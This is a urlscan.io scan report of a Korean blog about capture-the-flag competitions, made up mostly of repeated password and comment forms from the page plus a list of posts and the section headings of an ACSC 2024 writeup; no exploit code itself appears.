k5prsk.tistory.com Open in urlscan Pro
211.249.222.33  Public Scan

Submitted URL: http://k5prsk.tistory.com/
Effective URL: https://k5prsk.tistory.com/
Submission: On May 31 via api from US — Scanned from DE

Form analysis 72 forms found in the DOM

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form style="margin: 0px;">
  <div class="tt-area-write">
    <div class="tt-box-thumb"><span class="tt-thumbnail" style="background-image: url(&quot;https://img1.daumcdn.net/thumb/C88x88/?fname=https%3A%2F%2Ft1.daumcdn.net%2Ftistory_admin%2Fblog%2Fadmin%2Fprofile_default_04.png&quot;);"></span></div>
    <div class="tt_wrap_write">
      <div class="tt-box-account"><input type="text" title="이름" placeholder="이름" maxlength="32" value=""><input type="password" title="비밀번호" maxlength="12" placeholder="비밀번호" value=""></div>
      <div class="tt-box-textarea">
        <div class="tt-inner-g"><textarea id="comment" placeholder="로그인 댓글만 허용한 블로그입니다"></textarea></div>
      </div>
      <div class="tt-box-write"><label class="tt-xe-label"><input type="checkbox" id="secret"><span class="tt_img_area_reply tt-xe-input-helper"></span><span class="tt-xe-label-text">비밀글</span></label><button type="submit" class="tt-btn_register"
          disabled="">등록</button></div>
    </div>
  </div>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form style="margin: 0px;">
  <div class="tt-area-write">
    <div class="tt-box-thumb"><span class="tt-thumbnail" style="background-image: url(&quot;https://img1.daumcdn.net/thumb/C88x88/?fname=https%3A%2F%2Ft1.daumcdn.net%2Ftistory_admin%2Fblog%2Fadmin%2Fprofile_default_04.png&quot;);"></span></div>
    <div class="tt_wrap_write">
      <div class="tt-box-account"><input type="text" title="이름" placeholder="이름" maxlength="32" value=""><input type="password" title="비밀번호" maxlength="12" placeholder="비밀번호" value=""></div>
      <div class="tt-box-textarea">
        <div class="tt-inner-g"><textarea id="comment" placeholder="로그인 댓글만 허용한 블로그입니다"></textarea></div>
      </div>
      <div class="tt-box-write"><label class="tt-xe-label"><input type="checkbox" id="secret"><span class="tt_img_area_reply tt-xe-input-helper"></span><span class="tt-xe-label-text">비밀글</span></label><button type="submit" class="tt-btn_register"
          disabled="">등록</button></div>
    </div>
  </div>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form style="margin: 0px;">
  <div class="tt-area-write">
    <div class="tt-box-thumb"><span class="tt-thumbnail" style="background-image: url(&quot;https://img1.daumcdn.net/thumb/C88x88/?fname=https%3A%2F%2Ft1.daumcdn.net%2Ftistory_admin%2Fblog%2Fadmin%2Fprofile_default_04.png&quot;);"></span></div>
    <div class="tt_wrap_write">
      <div class="tt-box-account"><input type="text" title="이름" placeholder="이름" maxlength="32" value=""><input type="password" title="비밀번호" maxlength="12" placeholder="비밀번호" value=""></div>
      <div class="tt-box-textarea">
        <div class="tt-inner-g"><textarea id="comment" placeholder="로그인 댓글만 허용한 블로그입니다"></textarea></div>
      </div>
      <div class="tt-box-write"><label class="tt-xe-label"><input type="checkbox" id="secret"><span class="tt_img_area_reply tt-xe-input-helper"></span><span class="tt-xe-label-text">비밀글</span></label><button type="submit" class="tt-btn_register"
          disabled="">등록</button></div>
    </div>
  </div>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form style="margin: 0px;">
  <div class="tt-area-write">
    <div class="tt-box-thumb"><span class="tt-thumbnail" style="background-image: url(&quot;https://img1.daumcdn.net/thumb/C88x88/?fname=https%3A%2F%2Ft1.daumcdn.net%2Ftistory_admin%2Fblog%2Fadmin%2Fprofile_default_04.png&quot;);"></span></div>
    <div class="tt_wrap_write">
      <div class="tt-box-account"><input type="text" title="이름" placeholder="이름" maxlength="32" value=""><input type="password" title="비밀번호" maxlength="12" placeholder="비밀번호" value=""></div>
      <div class="tt-box-textarea">
        <div class="tt-inner-g"><textarea id="comment" placeholder="로그인 댓글만 허용한 블로그입니다"></textarea></div>
      </div>
      <div class="tt-box-write"><label class="tt-xe-label"><input type="checkbox" id="secret"><span class="tt_img_area_reply tt-xe-input-helper"></span><span class="tt-xe-label-text">비밀글</span></label><button type="submit" class="tt-btn_register"
          disabled="">등록</button></div>
    </div>
  </div>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form style="margin: 0px;">
  <div class="tt-area-write">
    <div class="tt-box-thumb"><span class="tt-thumbnail" style="background-image: url(&quot;https://img1.daumcdn.net/thumb/C88x88/?fname=https%3A%2F%2Ft1.daumcdn.net%2Ftistory_admin%2Fblog%2Fadmin%2Fprofile_default_04.png&quot;);"></span></div>
    <div class="tt_wrap_write">
      <div class="tt-box-account"><input type="text" title="이름" placeholder="이름" maxlength="32" value=""><input type="password" title="비밀번호" maxlength="12" placeholder="비밀번호" value=""></div>
      <div class="tt-box-textarea">
        <div class="tt-inner-g"><textarea id="comment" placeholder="로그인 댓글만 허용한 블로그입니다"></textarea></div>
      </div>
      <div class="tt-box-write"><label class="tt-xe-label"><input type="checkbox" id="secret"><span class="tt_img_area_reply tt-xe-input-helper"></span><span class="tt-xe-label-text">비밀글</span></label><button type="submit" class="tt-btn_register"
          disabled="">등록</button></div>
    </div>
  </div>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form style="margin: 0px;">
  <div class="tt-area-write">
    <div class="tt-box-thumb"><span class="tt-thumbnail" style="background-image: url(&quot;https://img1.daumcdn.net/thumb/C88x88/?fname=https%3A%2F%2Ft1.daumcdn.net%2Ftistory_admin%2Fblog%2Fadmin%2Fprofile_default_04.png&quot;);"></span></div>
    <div class="tt_wrap_write">
      <div class="tt-box-account"><input type="text" title="이름" placeholder="이름" maxlength="32" value=""><input type="password" title="비밀번호" maxlength="12" placeholder="비밀번호" value=""></div>
      <div class="tt-box-textarea">
        <div class="tt-inner-g"><textarea id="comment" placeholder="로그인 댓글만 허용한 블로그입니다"></textarea></div>
      </div>
      <div class="tt-box-write"><label class="tt-xe-label"><input type="checkbox" id="secret"><span class="tt_img_area_reply tt-xe-input-helper"></span><span class="tt-xe-label-text">비밀글</span></label><button type="submit" class="tt-btn_register"
          disabled="">등록</button></div>
    </div>
  </div>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form style="margin: 0px;">
  <div class="tt-area-write">
    <div class="tt-box-thumb"><span class="tt-thumbnail" style="background-image: url(&quot;https://img1.daumcdn.net/thumb/C88x88/?fname=https%3A%2F%2Ft1.daumcdn.net%2Ftistory_admin%2Fblog%2Fadmin%2Fprofile_default_04.png&quot;);"></span></div>
    <div class="tt_wrap_write">
      <div class="tt-box-account"><input type="text" title="이름" placeholder="이름" maxlength="32" value=""><input type="password" title="비밀번호" maxlength="12" placeholder="비밀번호" value=""></div>
      <div class="tt-box-textarea">
        <div class="tt-inner-g"><textarea id="comment" placeholder="로그인 댓글만 허용한 블로그입니다"></textarea></div>
      </div>
      <div class="tt-box-write"><label class="tt-xe-label"><input type="checkbox" id="secret"><span class="tt_img_area_reply tt-xe-input-helper"></span><span class="tt-xe-label-text">비밀글</span></label><button type="submit" class="tt-btn_register"
          disabled="">등록</button></div>
    </div>
  </div>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form class="tt_form_pwd">
  <fieldset>
    <legend class="screen_out">비밀번호 입력</legend><input class="tt_inp_g" type="password" title="비밀번호" placeholder="비밀번호를 입력하세요." maxlength="12" value=""><button type="submit" class="tt_btn_submit" disabled=""><span
        class="tt_img_area_reply tt_ico_check">입력하기</span></button>
  </fieldset>
</form>

<form style="margin: 0px;">
  <div class="tt-area-write">
    <div class="tt-box-thumb"><span class="tt-thumbnail" style="background-image: url(&quot;https://img1.daumcdn.net/thumb/C88x88/?fname=https%3A%2F%2Ft1.daumcdn.net%2Ftistory_admin%2Fblog%2Fadmin%2Fprofile_default_04.png&quot;);"></span></div>
    <div class="tt_wrap_write">
      <div class="tt-box-account"><input type="text" title="이름" placeholder="이름" maxlength="32" value=""><input type="password" title="비밀번호" maxlength="12" placeholder="비밀번호" value=""></div>
      <div class="tt-box-textarea">
        <div class="tt-inner-g"><textarea id="comment" placeholder="로그인 댓글만 허용한 블로그입니다"></textarea></div>
      </div>
      <div class="tt-box-write"><label class="tt-xe-label"><input type="checkbox" id="secret"><span class="tt_img_area_reply tt-xe-input-helper"></span><span class="tt-xe-label-text">비밀글</span></label><button type="submit" class="tt-btn_register"
          disabled="">등록</button></div>
    </div>
  </div>
</form>

Text Content

KS의 잡다한 블로그

 * 분류 전체보기 (8)
   * CTF (8)
     * writeup (4)
     * 후기 (4)
   * Cryptography (0)
     * papers (0)
   * Math (0)
     * study (0)

 * 홈
 * 태그
 * 방명록


 * 아하 답변 감사합니다. 참고하도록 할게요!
 * 저거는 sagemath 내부 함수들인데, 관련 설명은 시간되는대로 추가하⋯
 * PowerX 풀이에서 사용하셨던 ZZ(), euler_phi() 함수 코⋯
 * 개고수시네요
 * 팬이에요


1 / 0 / 1,374
블로그 내 검색




전체 글

 * ACSC 2024 Quals writeup 2024.04.07
   
 * ACSC 2024 Quals 후기 2024.03.31
   
 * KalmarCTF 2024 writeup 2024.03.19
   
 * 2024 Feb Space WAR (Crypto) 후기 2024.02.25 3
   
 * 2024 Feb Space WAR (Crypto) writeup 2024.02.25 3
   
 * Space WAR 2023 writeup 2023.12.31 1
   
 * N1CTF 2023 후기(뒷북) 2023.12.31
   
 * Dreamhack X-mas CTF 2023 후기 2023.12.27 8
   


ACSC 2024 QUALS WRITEUP

_ks 2024. 4. 7. 03:16
2024. 4. 7. 03:16
• pwn
• rot13
• exploit code
• web
• Login!
• exploit code
• crypto
• RSA Stream2
• exploit code
• strongest OAEP
• exploit code
• oblivion
• exploit code
• Jenga
• exploit code
• Strange Machine, part1
• exploit code
• Strange Machine, part2
• exploit code
• hardware
